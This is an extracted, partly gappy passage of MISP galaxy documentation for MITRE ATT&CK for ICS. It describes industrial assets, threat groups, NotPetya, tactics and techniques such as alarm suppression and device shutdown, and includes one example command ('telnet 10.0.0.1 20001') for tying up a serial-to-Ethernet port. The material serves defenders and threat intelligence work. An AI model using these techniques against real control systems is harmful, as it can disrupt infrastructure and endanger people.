Controller terminology depends on the type of system they are associated with. They provide typical processing capabilities. Controllers, sometimes referred to as Remote Terminal Units (RTU) and Programmable Logic Controllers (PLC), are computerized control units that are typically rack or panel mounted with modular processing and interface cards. The units are collocated with the process equipment and interface through input and output modules to the various sensors and controlled devices. Most utilize a programmable logic-based application that provides scanning and writing of data to and from the IO interface modules and communicates with the control system network via various communications methods, including serial and network communications

The tag is: *misp-galaxy:mitre-ics-assets="Field Controller/RTU/PLC/IED"*

Human-Machine Interface

In computer science and human-computer interaction, the Human-Machine Interface (HMI) refers to the graphical, textual and auditory information the program presents to the user (operator) using computer monitors and audio subsystems, and the control sequences (such as keystrokes with the computer keyboard, movements of the computer mouse, and selections with the touchscreen) the user employs to control the program. Currently the following types of HMI are the most common: Graphical user interfaces(GUI) accept input via devices such as computer keyboard and mouse and provide articulated graphical output on the computer monitor. Web-based user interfaces accept input and provide output by generating web pages which are transported via the network and viewed by the user using a web browser program. The operations user must be able to control the system and assess the state of the system. Each control system vendor provides a unique look-and-feel to their basic HMI applications. An older, not gender-neutral version of the term is man-machine interface (MMI). The system may expose several user interfaces to serve different kinds of users. User interface screens may be optimized to provide the appropriate information and control interface to operations users, engineering users and management users.

The tag is: *misp-galaxy:mitre-ics-assets="Human-Machine Interface"*

Input/Output Server

The Input/Output (I/O) server provides the interface between the control system LAN applications and the field equipment monitored and controlled by the control system applications. The I/O server, sometimes referred to as a Front-End Processor (FEP) or Data Acquisition Server (DAS), converts the control system application data into packets that are transmitted over various types of communications media to the end device locations. The I/O server also converts data received from the various end devices over different communications mediums into data formatted to communicate with the control system networked applications.

The tag is: *misp-galaxy:mitre-ics-assets="Input/Output Server"*

Safety Instrumented System/Protection Relay

A safety instrumented system (SIS) takes automated action to keep a plant in a safe state, or to put it

into a safe state, when abnormal conditions are present. The SIS may implement a single function or multiple functions to protect against various process hazards in your plant. The function of protective relaying is to cause the prompt removal from service of an element of a power system when it suffers a short circuit or when it starts to operate in any abnormal manner that might cause damage or otherwise interfere with the effective operation of the rest of the system.

The tag is: *misp-galaxy:mitre-ics-assets="Safety Instrumented System/Protection Relay"*

Groups

Groups are sets of related intrusion activity that are tracked by a common name in the security community. Groups are also sometimes referred to as campaigns or intrusion sets. Some groups have multiple names associated with the same set of activities due to various organizations tracking the same set of activities by different names. Groups are mapped to publicly reported technique use and referenced in the ATT&CK for ICS knowledge base. Groups are also mapped to reported software used during intrusions..

Groups is a cluster galaxy available in JSON format at [this location](#) The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

MITRE

ALLANITE

ALLANITE is a suspected Russian cyber espionage group, that has primarily targeted the electric utility sector within the United States and United Kingdom. The group's tactics and techniques are reportedly similar to Dragonfly / Dragonfly 2.0, although ALLANITE's technical capabilities have not exhibited disruptive or destructive abilities. It has been suggested that the group maintains a presence in ICS for the purpose of gaining understanding of processes and to maintain persistence.

The tag is: *misp-galaxy:mitre-ics-groups="ALLANITE"*

APT33

APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.

The tag is: *misp-galaxy:mitre-ics-groups="APT33"*

Table 4630. Table References

Dragonfly

Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. A similar group emerged in 2015 and was identified by Symantec as Dragonfly 2.0. There is debate over the extent of the overlap between Dragonfly and Dragonfly 2.0, but there is sufficient evidence to lead to these being tracked as two separate groups.

The tag is: *misp-galaxy:mitre-ics-groups="Dragonfly"*

Dragonfly 2.0

Dragonfly 2.0 is a suspected Russian threat group which has been active since at least late 2015. Dragonfly 2.0's initial reported targets were a part of the energy sector, located within the United States, Switzerland, and Turkey. There is debate over the extent of overlap between Dragonfly 2.0 and Dragonfly, but there is sufficient evidence to lead to these being tracked as two separate groups.

The tag is: *misp-galaxy:mitre-ics-groups="Dragonfly 2.0"*

HEXANE

HEXANE is a threat group that has targeted ICS organization within the oil & gas, and telecommunications sectors. Many of the targeted organizations have been located in the Middle East including Kuwait. HEXANE's targeting of telecommunications has been speculated to be part of an effort to establish man-in-the-middle capabilities throughout the region. HEXANE's TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.

The tag is: *misp-galaxy:mitre-ics-groups="HEXANE"*

Lazarus group

Lazarus group is a suspected North Korean adversary group that has targeted networks associated with civilian electric energy in Europe, East Asia, and North America. Links have been established associating this group with the WannaCry ransomware from 2017.³ While WannaCry was not an ICS focused attack, Lazarus group is considered to be a threat to ICS. North Korean group definitions are known to have significant overlap, and the name Lazarus Group is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea. Some organizations track North Korean clusters or groups such as Bluenoroff, APT37, and APT38 separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

The tag is: *misp-galaxy:mitre-ics-groups="Lazarus group"*

XENOTIME

XENOTIME is a threat group that has targeted and compromised industrial systems, specifically safety instrumented systems that are designed to provide safety and protective functions. Xenotime has previously targeted oil & gas, as well as electric sectors within the Middle east, Europe, and North America. Xenotime has also been reported to target ICS vendors, manufacturers, and organizations in the middle east. This group is one of the few with reported destructive capabilities.

<https://www.hydro.com/en/media/on-the-agenda/cyber-attack/>

NotPetya

NotPetya is malware that was first seen in a worldwide attack starting on June 27, 2017. The main purpose of the malware appeared to be to effectively destroy data and disk structures on compromised systems. Though NotPetya presents itself as a form of ransomware, it appears likely that the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains self-propagating (“wormable”) features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.

The tag is: *misp-galaxy:mitre-ics-software="NotPetya"*

Tactics

A list of all 11 tactics in ATT&CK for ICS.

Tactics is a cluster galaxy available in JSON format at [this location](#). The JSON format can be freely reused in your application or automatically enabled in [MISP](#).

authors

MITRE

Collection

The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal. Collection consists of techniques adversaries use to gather domain knowledge and obtain contextual feedback in an ICS environment. This tactic is often performed as part of Discovery, to compile data on control systems and targets of interest that may be used to follow through on the adversary’s objective. Examples of these techniques include observing operation states, capturing screenshots, identifying unique device roles, and gathering system and diagram schematics. Collection of this data can play a key role in planning, executing, and even revising an ICS-targeted attack. Methods of collection depend on the categories of data being targeted, which can include protocol specific, device specific, and process specific configurations and functionality. Information collected may pertain to a combination of system, supervisory, device, and network related data, which conceptually fall under high, medium, and low levels of plan operations. For example, information repositories on plant data at a high level or device specific programs at a low level. Sensitive floor plans, vendor device manuals, and other refs may also be at risk and exposed on the internet or otherwise publicly accessible.

The tag is: *misp-galaxy:mitre-ics-tactics="Collection"*

Table 4656. Table References

http://www.research.lancs.ac.uk/portal/files/196578358/sample_sigconf.pdf

<https://www.us-cert.gov/ncas/alerts/TA17-293A>

Command and Control

The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment. Command and Control consists of techniques that adversaries use to communicate with and send commands to compromised systems, devices, controllers, and platforms with specialized applications used in ICS environments. Examples of these specialized communication devices include human machine interfaces (HMIs), data historians, SCADA servers, and engineering workstations (EWS). Adversaries often seek to use commonly available resources and mimic expected network traffic to avoid detection and suspicion. For instance, commonly used ports and protocols in ICS environments, and even expected IT resources, depending on the target network. Command and Control may be established to varying degrees of stealth, often depending on the victim's network structure and defenses.

The tag is: *misp-galaxy:mitre-ics-tactics="Command and Control"*

Table 4657. Table References

Links

<https://attack.mitre.org/wiki/Technique/T1090>

Discovery

The adversary is trying to figure out your ICS environment. Discovery consists of techniques that adversaries use to survey your ICS environment and gain knowledge about the internal network, control system devices, and how their processes interact. These techniques help adversaries observe the environment and determine next steps for target selection and Lateral Movement. They also allow adversaries to explore what they can control and gain insight on interactions between various control system processes. Discovery techniques are often an act of progression into the environment which enable the adversary to orient themselves before deciding how to act. Adversaries may use Discovery techniques that result in Collection, to help determine how available resources benefit their current objective. A combination of native device communications and functions, and custom tools are often used toward this post-compromise information-gathering objective.

The tag is: *misp-galaxy:mitre-ics-tactics="Discovery"*

Table 4658. Table References

Links

<https://attack.mitre.org/wiki/Technique/T1040>

<https://attack.mitre.org/wiki/Technique/T1018>

Evasion

The adversary is trying to avoid being detected. Evasion consists of techniques that adversaries use to avoid detection by both human operators and technical defenses throughout their compromise. Techniques used for evasion include removal of indicators of compromise, spoofing communications and reporting, and exploiting software vulnerabilities. Adversaries may also leverage and abuse trusted devices and processes to hide their activity, possibly by masquerading as master devices or native software. Methods of defense and operator evasion for this purpose are often more passive in nature, as opposed to Inhibit Response Function techniques. They may also vary depending on whether the target of evasion is human or technological in nature, such as security controls. Techniques under other tactics are cross-listed to evasion when those techniques include the added benefit of subverting operators and defenses.

The tag is: *misp-galaxy:mitre-ics-tactics="Evasion"*

https://attack.mitre.org/wiki/Technique/T1014
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258

Execution

The adversary is trying to run malicious code. Execution consists of techniques that result in adversary-controlled code running on a local or remote system, device, or other asset. This execution may also rely on unknowing end users or the manipulation of device operating modes to run. Adversaries may infect remote targets with programmed executables or malicious project files that operate according to specified behavior and may alter expected device behavior in subtle ways. Commands for execution may also be issued from command-line interfaces, APIs, GUIs, or other available interfaces. Techniques that run malicious code may also be paired with techniques from other tactics, particularly to aid network Discovery and Collection, impact operations, and inhibit response functions.

Impact

The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment. Impact consists of techniques that adversaries use to disrupt, compromise, destroy, and manipulate the integrity and availability of control system operations, processes, devices, and data. These techniques encompass the influence and effects resulting from adversarial efforts to attack the ICS environment or that tangentially impact it. Impact techniques can result in more instantaneous disruption to control processes and the operator, or may result in more long term damage or loss to the ICS environment and related operations. The adversary may leverage Impair Process Control techniques, which often manifest in more self-revealing impacts on operations, or Inhibit Response Function techniques to hinder safeguards and alarms in order to follow through with and provide cover for Impact. In some scenarios, control system processes can appear to function as expected, but may have been altered to benefit the adversary's goal over the course of a longer duration. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach. Loss of Productivity and Revenue, Theft of Operational Information, and Damage to Property are meant to encompass some of the more granular goals of adversaries in targeted and untargeted attacks. These techniques in and of themselves are not necessarily detectable, but the associated adversary behavior can potentially be mitigated and/or detected.

Impair Process Control

The adversary is trying to manipulate, disable, or damage physical control processes. Impair Process Control consists of techniques that adversaries use to disrupt control logic and cause determinantal effects to processes being controlled in the target environment. Targets of interest may include active procedures or parameters that manipulate the physical environment. These techniques can also include prevention or manipulation of reporting elements and control logic. If an adversary has modified process functionality, then they may also obfuscate the results, which are often self-revealing in their impact on the outcome of a product or the environment. The direct physical control these techniques exert may also threaten the safety of operators and downstream users, which can prompt response mechanisms. Adversaries may follow up with or use Inhibit Response Function techniques in tandem, to assist with the successful abuse of control processes to result in Impact.

Initial Access

The adversary is trying to get into your ICS environment. Initial Access consists of techniques that adversaries may use as entry vectors to gain an initial foothold within an ICS environment. These techniques include compromising operational technology assets, IT resources in the OT network, and external remote services and websites. They may also target third party entities and users with privileged access. In particular, these initial access footholds may include devices and communication mechanisms with access to and privileges in both the IT and OT environments. IT resources in the OT environment are also potentially vulnerable to the same attacks as enterprise IT systems. Trusted third parties of concern may include vendors, maintenance personnel, engineers, external integrators, and other outside entities involved in expected ICS operations. Vendor maintained assets may include physical devices, software, and operational equipment. Initial access techniques may also leverage outside devices, such as radios, controllers, or removable media, to remotely interfere with and possibly infect OT operations.

The tag is: *misp-galaxy:mitre-ics-tactics="Initial Access"*

authors

MITRE

Activate Firmware Update Mode

Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.

The tag is: *misp-galaxy:mitre-ics-techniques="Activate Firmware Update Mode"*

Alarm Suppression

Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question: An alarm raised by a protocol message. An alarm signaled with I/O. An alarm bit set in a flag and read In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring.² Methods of suppression may involve tampering or altering

device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.

Automated Collection

Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.

The tag is: *misp-galaxy:mitre-ics-techniques="Automated Collection"*

Block Command Message

Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. In the 2015 attack on the Ukrainian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Command Message"*

Block Reporting Message

Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. In the 2015 attack on the Ukrainian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Reporting Message"*

Block Serial COM

Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available — 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.

The tag is: *misp-galaxy:mitre-ics-techniques="Block Serial COM"*

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Brute Force I/O

Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.

The tag is: *misp-galaxy:mitre-ics-techniques="Brute Force I/O"*

Table 4671. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Change Program State

Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.

The tag is: *misp-galaxy:mitre-ics-techniques="Change Program State"*

Table 4672. Table References

https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

Command-Line Interface

Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes.

The tag is: *misp-galaxy:mitre-ics-techniques="Command-Line Interface"*

Commonly Used Port

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples as follows TCP:80 (HTTP), TCP:443 (HTTPS), TCP/UDP:53 (DNS), TCP:1024-4999 (OPC on XP/Win2k3), TCP:49152-65535 (OPC on Vista and later), TCP:23 (TELNET), UDP:161 (SNMP), TCP:502 (MODBUS), TCP:102 (S7comm/ISO-TSAP), TCP:20000 (DNP3), TCP:44818 (Ethernet/IP)

The tag is: *misp-galaxy:mitre-ics-techniques="Commonly Used Port"*

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Connection Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.

The tag is: *misp-galaxy:mitre-ics-techniques="Connection Proxy"*

Damage to Property

Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.³⁴⁵ Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops.⁴ Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside.

Data Destruction

Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of

the post-intrusion cleanup process. Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.

The tag is: *misp-galaxy:mitre-ics-techniques="Data Destruction"*

Data Historian Compromise

Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution.¹ The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include refs to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be expected to have extensive connections within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks.

The tag is: *misp-galaxy:mitre-ics-techniques="Data Historian Compromise"*

Table 4678. Table References

Default Credentials

Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.

The tag is: *misp-galaxy:mitre-ics-techniques="Default Credentials"*

Table 4680. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Denial of Control

Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of Control"*

https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Denial of Service

Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. In the Maroochy attack, the adversary was able to shut an investigator out of the network.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of Service"*

Denial of View

Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of View"*

Detect Operating Mode

Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC.

The tag is: *misp-galaxy:mitre-ics-techniques="Detect Operating Mode"*

Table 4684. Table References

Detect Program State

Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.

The tag is: *misp-galaxy:mitre-ics-techniques="Detect Program State"*

Table 4685. Table References

Links
https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

Device Restart/Shutdown

Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. In the 2015 attack on the Ukrainian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uninterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered.

The tag is: *misp-galaxy:mitre-ics-techniques="Device Restart/Shutdown"*

Drive-by Compromise

Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session. With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which

often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.

The tag is: *misp-galaxy:mitre-ics-techniques="Drive-by Compromise"*

Engineering Workstation Compromise

Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.

The tag is: *misp-galaxy:mitre-ics-techniques="Engineering Workstation Compromise"*

Execution through API

Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC.

The tag is: *misp-galaxy:mitre-ics-techniques="Execution through API"*

Table 4689. Table References

https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Exploit Public-Facing Application

Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE's Cimplicity HMI with a direct connection to the Internet.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploit Public-Facing Application"*

Table 4690. Table References

Links
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B

Exploitation for Evasion

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploitation for Evasion"*

Exploitation of Remote Services

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploitation of Remote Services"*

Table 4692. Table References

Links

<https://attack.mitre.org/techniques/T1210/>

<https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/>

External Remote Services

Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point-to-point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. In the Maroochy Attack, the

adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukrainian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks.³²⁴⁵ The VPNs into these networks appear to have lacked two-factor authentication.

The tag is: *misp-galaxy:mitre-ics-techniques="External Remote Services"*

Graphical User Interface

Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers.

The tag is: *misp-galaxy:mitre-ics-techniques="Graphical User Interface"*

<https://technet.microsoft.com/en-us/library/ee791851.aspx>

Hooking

Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process's IAT, where pointers to imported API functions are stored.

The tag is: *misp-galaxy:mitre-ics-techniques="Hooking"*

https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

I/O Module Discovery

